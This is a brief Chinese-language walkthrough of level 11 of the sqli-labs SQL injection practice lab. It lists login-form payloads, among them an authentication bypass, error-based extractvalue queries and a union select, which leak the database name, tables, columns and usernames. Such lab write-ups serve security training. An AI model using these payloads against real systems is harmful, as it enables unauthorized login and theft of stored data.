sqli-labs-master 第十一關

本關爲POST請求：

輸入：admin‘#

密碼：隨意

 

 

爆出當前數據庫：

用戶名：payload1：admin' and extractvalue(1,concat(0x7e,database(),0x7e))#

              payload2：admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

              payload3：admin ' union select 1,database()#

密碼：隨意

 

 

 爆數據表：

用戶名：payload1：admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

密碼：隨意

爆數據列：

用戶名：payload1：admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='referers' limit 1,1),0x7e))#

密碼：隨意

 

 爆信息：

用戶名：payload1：admin' and extractvalue(1,concat(0x7e,(select username from referer limit 1,1),0x7e))#

密碼：隨意